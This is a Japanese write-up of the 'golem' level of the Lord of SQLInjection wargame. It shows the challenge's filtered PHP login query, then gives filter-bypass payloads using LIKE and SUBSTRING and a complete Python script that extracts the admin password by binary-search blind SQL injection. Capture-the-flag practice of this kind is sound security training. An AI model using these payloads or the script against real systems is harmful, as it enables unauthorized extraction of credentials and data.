Lord of SQLInjection

include "./config.php"; 
login_chk(); 
$db = dbconnect(); 
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 

$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
highlight_file(__FILE__); 

特徴は以下。

• pwのみ入力するが、以下フィルターがある
  • or,and,substr(,=が含まれればエラー
  • adminのパスワードを抜き取る必要がある

Blind SQL Injectionを頑張るやつですね。

代用する

=が使えないと文字列比較ができないように見えて、like文で代用ができる。
' || id like 'admin' && {md} < length(pw) #

substrは使えないが、SUBSTRINGやMIDで代用することができる。
' || id like 'admin' && {md} < ascii(SUBSTRING(pw,{i+1},1)) #

import requests

url = "https://los.rubiya.kr/chall/golem_4b5asdfasdfasdff5.php"
cookie = {'PHPSESSID': 'easdfsafsafsadfasdf'}

def check(data) -> bool:
    return "Hello admin" in data

ok = 0
ng = 30

while ok + 1 != ng:
    md = (ok + ng) // 2
    q = f"' || id like 'admin' && {md} < length(pw) #"
    res = requests.get(url, params={'pw': q}, cookies=cookie)
    print(f"[+] try {md}")
    if check(res.text):
        ok = md
    else:
        ng = md

length = ok + 1
print(f"[*] length = {length}")

ans = ""
for i in range(0, length):
    ok = 0
    ng = 127

    while ok + 1 != ng:
        md = (ok + ng) // 2
        q = f"' || id like 'admin' && {md} < ascii(SUBSTRING(pw,{i+1},1)) #"
        res = requests.get(url, params={'pw': q}, cookies=cookie)
        print(f"[+] try {md}")
        if check(res.text):
            ok = md
        else:
            ng = md

    ans += str(chr(ok + 1))
    print(f"[*] {ans}")

print(f"[*] find! {ans}")